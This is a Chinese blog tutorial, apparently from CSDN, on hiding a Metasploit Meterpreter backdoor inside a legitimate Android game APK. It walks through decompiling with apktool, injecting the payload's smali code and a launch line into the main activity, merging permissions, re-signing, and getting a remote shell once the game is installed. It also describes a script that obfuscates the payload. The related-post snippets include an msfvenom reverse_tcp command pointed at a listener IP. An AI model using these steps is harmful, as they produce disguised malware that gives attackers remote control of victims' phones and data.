如何在Android APK中植入Meterpreter

安卓渗透测试实战:利用Metasploit生成后门APK与远程控制 在移动安全领域,渗透测试是评估应用与系统安全性的核心方法。其原理是通过模拟攻击者行为,发现潜在漏洞与风险点。这项技术的价值在于,它能帮助安全人员与开发者提前识别威胁,从而加固防御体系,尤其在安卓生态中,应用安全与系统权限管理是常见攻击面。典型的应用场景包括企业移动应用安全评估、老旧设备风险分析以及安全意识培训。本文聚焦于一次贴近实战的安卓安全评估,详细演示了如何利用Kali Linux和Metasploit框架,从生成定制化后门APK到建立远程控制会话的完整流程。过程中涉及的关键操作,如使用msfvenom 阅读详情

写在前面的话

随着移动设备的快速发展,我们日常生活中的许多应用程序正在迁移到云部署,从JavaScript浏览器框架到支持移动设备的前端,例如Apple iOS上的Objective-C,或基于Android的Java。这也促进了手机应用的发展,与Apple不同,Android市场是一种开放的方式,允许任何人为商店做出贡献,而且占据了移动市场份额的大部分。

 

此外,还有各种第三方网站可以直接下载Android应用程序包文件(APK)。Metasploit允许测试人员使用meterpreter生成Android payload,并且可以安装到Android设备上。Android应用程序是用Java编写的,它编译成称为DEX的Dalvik可执行格式。应用程序的编译版本是DEX字节码文件的ZIP文件。

Android上的Dalvik虚拟机最近被Android RunTime(ART)取代,后者增加了优化并将DEX字节码编译为本地汇编代码。Dalvik VM主要执行大部分字节码的即时(JIT)解释。ART比Dalvik虚拟机具有更高的性能,Dalvik虚拟机仅优化应用程序的频繁执行部分的字节码部分。

Smali/baksmali是Android DEX字节码的汇编程序/反汇编程序。另一个名为“apktool” 的Android工具可以将压缩的DEX(APK文件)反汇编成smali文件,并将smali文件重新组合回DEX,然后再其重新组合为APK格式。我们可以使用此工具来反汇编和修改现有的APK文件。

接下来的文章中,我们可以使用该工具进行反汇编,并在初始Android Activity的smali代码中添加一个额外的静态入口点,以启动我们的Meterpreter。总的来说,将Meterpreter嵌入一个APK文件的步骤如下:

1.在“apkmonk.com”或类似的镜像站点上查找现有的有趣APK应用程序。

2.生成Metasploit APK文件。

3.用“apktool”反汇编Metasploit APK文件,以及我们打算修改的APK文件。

4.将所有Meterpreter smali代码复制到新的APK smali目录。

5.通过查找具有以下行的intent-filter,在APK应用程序的AndroidManifest.xml文件中找到代码的入口点  :<action android:name =“android.intent.action.MAIN”/>包含此intent-filter的活动名称将是您要搜索的入口点。

6.修改“.smali”文件以包含启动Meterpreter阶段的代码。

7.将Meterpreter AndroidManifest.xml中的所有Meterpreter权限复制到修改后的APK的AndroidManifest.xml中。

8.重新组装成DEX压缩格式。

9.使用“jarsigner”为新创建的APK文件签名,然后将其加载到目标Android设备上。接下来我会用一个具体的例子来解释下上述步骤,我从apkmonk.com下载了一个名为Cowboy Shooting Game的游戏的APK文件。 

1.png

生成恶意软件APK

然后,我使用“msfvenom”命令生成Metasploit APK,如下所示。

2.png

反汇编APK文件

然后使用“apktool” 对这两个文件进行反汇编,如下所示:

3.png

4.png

将恶意软件代码复制到游戏中

一个简单的方法是将目录更改为Metasploit APK目录,然后将“smali”目录下的所有文件复制到“com.CowboyShootingGames_2018-09-22”目录中。我从系统管理员那里学到的使用“tar”命令,你可以将tar的输出传输到第二个命令,该命令改变目录并“解压缩”生成的文件。

5.png

找到Activity EntryPoint

下面我们可以看到输入活动被列为“com.CowboyShootingGames.MainActivity”。我们知道这一点,因为XML中包含一个带有“android.intent.action.MAIN”的intent-filter。

6.png

修改Activity EntryPoint Smali文件

从上面可以看出,在这种情况下,文件将被命名为“MainActivity.smali”,并且完全限定类路径中的“com/CowboyShootingGames” directory as per the periods (“.”)目录中。

7.png

在“MainActivity.smali”文件中,我们正在寻找“onCreate()”方法。

8.png

我们需要在“onCreate()”方法调用的正下方添加一行“smali”代码来调用我们的Meterpreter。invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V请注意,上面是一行代码。使用与“payload”目录中包含的所有“smali”文件中的所有路径引用都必须修改,并更改目录名称本身。这可以手工完成,但容易出错。继续没有任何混淆片刻,修改后的最终结果将像下面的截图一样。

9.png

向修改的APK“AndroidManifest.xml”文件添加权限

下一步,使用“grep”搜索Metasploit“AndroidManfest.xml”文件中包含字符串“uses-permission”和“uses-feature”到修改后的APK的AndroidManiest.xml文件中.

10.png

您需要使用编辑器在新的“AndroidManifest.xml”文件中的适当位置插入权限。搜索现有的“use-permission”行作为插入文本的位置的参考。

11.png

您最终可能会获得一些重复的权限。您可以选择删除它们,它没什么卵用。

构建新的APK包文件

现在 再次使用“apktool” 重新组合生成的APK包文件。最终结果将写入APK目录本身的“dist”目录中。

12.png

重新签名生成的包文件

对于重新签名,一种简单的方法是使用安装Android studio时构建的Android调试密钥库。调试密钥库位于UN * X系统上主目录中的“.android”隐藏目录中。

13.png

另一种方法是使用Java“keytool”生成您自己的自签名密钥库,并使用“jarsigner”工具对其进行签名,如下面的截图所示。

14.png

15.png

此时,“final.apk”文件已准备好了,可以使用“adb”安装到Android系统上。

16.png

在演示中,我使用“GenyMotion”的虚拟机,这是一个基于x86的模拟器,它使用VirtualBox可以进行非常高性能的Android模拟。您可能会遇到的问题是x86仿真本身不支持ARM处理器。有一个解决方法,可以在线获得一些ARM翻译库。您需要搜索“ Genymotion-ARM-Translation_v1.1.zip ”,然后将ZIP文件拖到正在运行的GenyMotion Android系统上。这不是100%可靠,并且仍可能导致一些应用程序崩溃。我发现Nexus 6系列设备非常适合,因为“rooting”套件相当可靠,并且通过USB电缆连接进行测试并不是太麻烦。

17.png

最后一步当然是尝试我们新感染的游戏。我们很快发现,在我们安装完游戏的那一刻,我们在KALI系统上获得了一个Meterpreter shell。

18.png

19.png

那么问题来了,在执行了上述所有必要步骤后。我发现出错的可能性非常高。所以我决定使用Python脚本来自动执行此过程。我称它为“android_embedit.py”,无需花费太多精力,就可以完成工作。

20.png

“android_embedit.py”的原理是,只要您提供Metasploit生成的APK文件,和要修改的原始APK和密钥库,它将以自动方式执行所有步骤并为您生成结果。以下是运行该工具的示例。所有临时文件和输出都将存储在“〜/ .ae”目录中。

21.png

该工具还将删除“metasploit”目录名称,并自动使用随机字符串目录名称对其进行模糊处理。您可以在下面的截图中看到此结果,其中列出了APK“smali / com”目录的内容。名为“ dbarpubw ”的目录实际上包含Metasploitstager代码。

22.png

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

Kali Linux安卓渗透测试实战:从后门注入到远程控制 在移动安全领域,渗透测试是评估系统安全性的重要手段,其核心原理是通过模拟攻击者行为来发现潜在漏洞。Metasploit Framework作为自动化渗透测试平台,能够生成定制化载荷并建立远程会话,在安全研究中具有极高技术价值。结合社会工程学与漏洞利用,这类技术常被应用于授权安全测试、应用风险评估等场景。本文聚焦于安卓平台,详细解析如何利用Kali Linux环境,通过APK注入、载荷生成与会话管理等实战步骤,构建完整的远程控制攻击链,其中涉及**Meterpreter会话管理**与**权限提升**等关键环节 阅读详情

相关推荐

Kali Linux下安卓APK载荷生成与签名实战指南

在移动安全与渗透测试领域,载荷生成是评估系统安全性的基础技术。其核心原理是将特定功能代码嵌入到可执行文件中,通过数字签名机制确保应用在安卓系统上的可安装性与完整性。这项技术的价值在于为安全研究人员提供合法的测试工具,用于模拟攻击、验证防护措施。在实际应用场景中,常涉及Kali Linux环境下的工具链操作,其中MSFvenom作为载荷生成器,配合Keytool和Apksigner完成签名流程。本文聚焦于安卓APK载荷的生成与签名实践,详细解析了使用MSFvenom生成载荷、利用Keytool创建密钥,并通过

weixin_29323365的博客 466

Andriod开发学习——Android中实现多级嵌套AAR包

Andriod开发学习——Android中实现多级嵌套AAR包 AAR嵌套打包——flat-aar-android一. mModule1 直接依赖 aar(单一依赖)二. mModule1 依赖mModule2,mModule2引用了aar(嵌套依赖)使用 fat-aar 方案:1. 在build.gradle(project)中添加 flat-aar 路径2. 在需要依赖嵌套aar的Module中的build.gradle中add plugin3. 在Module中(有AAR包)中更改依赖多级本地依赖三、

weixin_43819602的博客 3923

安卓手机病毒攻击模拟:从渗透到防御的完整技术剖析

移动安全的核心在于理解攻击与防御的对抗本质。恶意软件通过利用系统漏洞或诱导用户安装,在设备上建立持久化控制,窃取隐私数据并实施进一步破坏。其技术价值在于揭示了在万物互联时代,终端设备安全对个人隐私与财产保护的重要性。典型的应用场景包括通过钓鱼应用、漏洞利用等方式渗透,最终实现远程控制、数据窃取甚至将设备变为攻击跳板。本文基于一次真实的安卓手机病毒攻击模拟,详细演示了从载荷生成、权限获取到深度渗透的完整攻击链,并深入剖析了在此过程中手机可能出现的电池异常、流量激增等可观测现象,以及文件窃取、实时监控等深层危害

350

embed标签属性的介绍和用法

一、基本语法:   embed src=url   说明:embed可以用来插入各种多媒体,格式可以是 Midi、Wav、AIFF、AU、MP3等等, Netscape及新版的IE 都支持。url为音频或视频文件及其路径,可以是相对路径或绝对路径。   二、属性设置:   1、自动播放:   语法:autostart=true、false   说明:该属性规定音频或视频文件

长江七号 6374

【首份】2023年30米分辨率土地利用遥感监测数据

为了恢复和重建我国土地利用变化的现代过程,更好地预测、预报土地利用变化趋势,地球资源数据云以美国陆地卫星Landsat 遥感影像数据作为主信息源,结合Sentinel系列数据,通过人工目视解译和机器学习方法,建立了国家尺度1:10 万比例尺多时期土地利用/土地覆盖遥感监测数据库(CNLUCC)因早期Landsat数据时空覆盖缺失,1972-1977年合成第一期数据,1978-1985年合成第二期数据,1986年起每年度生成一期数据。投影:Albers正轴等面积双标准纬线圆锥投影南标准纬线:25°N。

地球资源数据云的官方博客 3639

详解如何用爬虫工具批量采集阿里巴巴批发网商品数据

本文主要介绍如何使用后羿采集器的智能模式,免费采集阿里巴巴批发网商品的批发价格、发货时间、是否代发等信息。 采集字段: 商品标题、商品链接、图片链接、标签1、标签2、标签3、价格、30天成交数、 评价、店铺 功能点目录: 如何对采集字段进行配置 如何采集列表+详情页类型网页 采集结果预览: 下面我们来详细介绍一下如何免费采集1688批发网的商品数据,我们以“羽绒服女”为例,具体步骤如下: 步骤一...

weixin_43777427的博客 1万+

利用meterpreter生成一个简单的android木马

这个学习过程我是在kali linux下进行的,成功的感染了自己的手机,当然了apk包没改签名也没有加小图标,所以只能当是一个实验吧。 首先使用这个命令: 使用这个命令,可以生成一个apk包,但是我在这里标明一下,LHOST的IP写自己网络的IP,LPORT写一个没有被使用的端口,apk包名自己可以随意取。 接下来打开meterpreter软件: 加载模块: 之后设置宿主机的IP和...

风中尘埃的博客 3671

具身智能与空天具身智能:从理论到实践的AIBOX技术革命

本文深入探讨了具身智能从理论到实践的发展,重点介绍了AIBOX技术如何作为边缘智能计算模块,为无人机、机器人等无人系统提供可进化的“大脑”。文章通过空天具身智能等应用场景,阐述了AIBOX在实现感知、决策、行动一体化闭环中的核心作用,并展望了其在协同智能与规模化部署中的未来挑战与机遇。

lll78的博客 757

Android项目引入aar(以及遇到的坑)

1.将aar文件复制到libs文件夹中;2.build.gradle的dependencies中加入 implementation(fileTree("libs/aaa.aar"));

红鼻子小黑的博客 1632

告别串口助手!手把手教你用Matlab直接读取STM32的传感器数据(附完整代码)

本文详细介绍了如何利用Matlab直接与STM32进行串口通信,实现传感器数据的实时采集与分析。通过完整的代码示例和系统架构设计,帮助开发者告别传统的串口助手工具链,打造高效、自动化的数据采集系统。文章涵盖了从硬件配置、通信协议设计到Matlab数据处理与可视化的全流程,特别适合嵌入式开发与数据分析结合的实践场景。

weixin_42629671的博客 421

详解大模型微调数据集构建方法(持续更新)

本文详细介绍了大模型微调数据集构建方法,希望能对学习大模型的同学们有所帮助。 文章目录 1. 前言 2. 微调数据集构建方法 2.1 方法一 2.2 方法二 2.3 方法三 2.4 方法四 2.5 方法五

herosunly的博客 28万+

Android开发-Android 合并远程库到AAR

aar文件,添加以下代码到你工程根目录下的build.gradle文件中;本地依赖,远程依赖。

记录和分享程序人生的点点滴滴 1382

【异常】came as a complete surprise to me,IllegalArgumentException: The template string is not valid.

是Spring AI中用于生成提示词(prompt)的一个类。提示词对于与大语言模型交互至关重要,因为它们指导模型生成特定类型的响应。允许开发者创建包含占位符的模板字符串,并通过提供具体的值来填充这些占位符,从而动态地生成个性化的提示词。

奶爸的编程之路,也就一周冷个三天 742

Kali Linux下安卓渗透实战:从后门程序到远程控制

本文详细介绍了在Kali Linux环境下进行安卓渗透测试的完整流程,从环境搭建到后门程序生成,再到远程控制与后渗透操作。重点讲解了如何使用msfvenom生成安卓后门程序,以及通过Metasploit框架实现远程控制,同时提供了社会工程学应用分发技巧和痕迹清理方法。

d3e4f的博客 200

【OCPP】ocpp1.6协议3.3章节:功能配置文件及接口

Smart Charging Profile中定义了4个接口请求,即GetCompositeSchedule、ClearChargingProfile、SetChargingProfile和ClearCache等。Smart Charging: 包含智能充电相关的功能,如计划充电,报告充电计划,并改变充电速度。Core: 包含电动汽车充电相关的基础功能,如启动和停止充电,更改充电配置,报告充电状态等。Reservation: 包含预约服务相关的功能,如创建,取消和更改预约。

qq_53871375的博客 2163

使用Google Earth Engine下载JRC全球水体数据

通过Google Earth Engine平台和提供的源代码,研究人员和水资源管理者可以方便地获取和利用这一重要的水资源监测数据集,从而开展相关的研究和决策支持工作。要使用Google Earth Engine下载JRC全球水体数据,首先需要在Google Earth Engine平台上进行注册和登录。JRC全球水体数据是由欧洲联合研究中心开发的高分辨率全球水体分类数据集,覆盖了整个地球的陆地和水域。下载完成后,你可以使用各种遥感数据处理软件来打开和分析这些数据,以满足不同的研究和应用需求。

LrlDebug的博客 1147

在Android APK中嵌入Meterpreter的技术解析

随着移动应用的普及,Android平台因其开放性成为安全研究的重点目标。本文将演示如何通过技术手段将Meterpreter后门植入合法APK文件。

分享技术点滴 1193

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

kali下Kwetza进行安卓APK文件恶意注入

参考:https://www.youtube.com/watch?v=sP8CtMPAwzYhttps://sensepost.com/blog/2016/kwetza-infecting-android-applications/cd /tmp git clone https://github.com/sensepost/kwetza cd kwetz...

我的学习笔记 6060

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

使用Metasploit对Andorid系统渗透测试提权——定位拍照发短信

文章目录前言一、生成攻击载荷二、加载主控端handler总结 前言 使用metasploit对安卓系统渗透测试提权 一、生成攻击载荷 ┌──(root????kali)-[~] └─# msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.113 lport=6666 R> pay2.apk [-] No platform was selected, choosing Msf::Module::Platform::Android f

渗透测试 2533

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

为什么backdoor-apk是安卓渗透测试的必备工具?

backdoor-apk是一款简化安卓APK文件后门植入流程的shell脚本工具,专为安卓渗透测试场景设计。它能帮助安全测试人员快速在目标APK中植入后门,同时提供权限合并、代码混淆等实用功能,是安卓安全评估工作中的高效辅助工具。 ## 🚀 核心功能:让安卓渗透测试更简单 ### 1. 一键式后门植入流程 backdoor-apk通过自动化脚本将复杂的后门植入过程简化为几步操作。用户只需选择

gitblog_00867的博客 813

APK,一次“重打包”,一次失控:APK 后门植入原理与防范实战

【摘要】本文通过技术实验演示了Android APK重打包与后门植入过程,使用Apktool反编译合法应用并注入Meterpreter后门代码。重点展示了反编译、代码注入、重打包签名等关键步骤,同时强调该技术仅限合法安全研究用途。文章揭示了此类攻击的危害性,包括远程控制、隐私窃取等风险,并提供了用户和开发者的防护建议,如仅从官方渠道下载应用、启用代码混淆等。最后重申网络安全责任,呼吁技术应用需符合法律规范。(149字)

2401_84830066的博客 1116

逆向工程实战:Android APK后门植入与防御全解析(合法研究)

本文从防御者视角,深入解析了Android APK后门植入的完整攻击链,包括使用apktool反编译、注入恶意代码及利用Metasploit建立远控等关键步骤。文章重点探讨了如何通过代码混淆、签名校验、权限最小化和运行时监控等综合手段,构建全链路安全防御体系,以有效抵御此类攻击,提升应用安全性。

ik678901的博客 968

ChatTTS-UI 本地语音合成快速上手完整指南:5 分钟搭好自己的文字转语音服务

做播客、给视频加条人声旁白,却嫌云端配音的机械音太出戏?ChatTTS-UI 是个本地语音合成工具:打开浏览器,把文字贴进去,点一下就能生成自然语音,不用注册任何云服务,还自带 API 接口,让你多写一行代码就能把语音功能接进自己的应用。 ## 它到底是什么:新手友好的本地文字转语音 - 一个"程序 + 网页":在自己电脑上跑一个服务,浏览器里直接用本地语音合成。 - 中英文混杂的文字、数字和

gitblog_00490的博客 361

msfvenom生成apk后门,实现远程操控

摘要 在Kali Linux 2024.4虚拟机环境下,通过桥接网络模式进行了Android应用渗透测试。使用Termux v0.118.0作为模板APK,利用msfvenom工具注入reverse_tcp后门(LHOST=10.211.101.114,LPORT=4444),生成恶意APK并安装到荣耀20S测试机。通过Metasploit框架建立监听会话,成功获取meterpreter shell后执行了设备信息查看和屏幕截图等操作。实验演示了Android应用植入后门和远程控制的全过程,验证了此类攻击的

wuhao2343的博客 1167

msfvenom生成apk payload然后得到meterpreter shell

先生成一个payload,带上meterpreter监听的地址和端口: msfvenom -p android/meterpreter/reverse_tcp LHOST=&amp;amp;amp;lt;your public IP&amp;amp;amp;gt; LPORT=80 -o msf.apk 由于大号端口在我的wifi环境下无法出去,所以这里我设置为80端口。 然后安装这个apk到手机。 然后在msf上: use exploit/...

公众号shadow sock7 4954
上一篇: 网络安全事件研判
下一篇: 为什么政府官员和机构不断被黑客入侵?
白帽子008
博客等级 码龄3年 4901粉丝 392原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值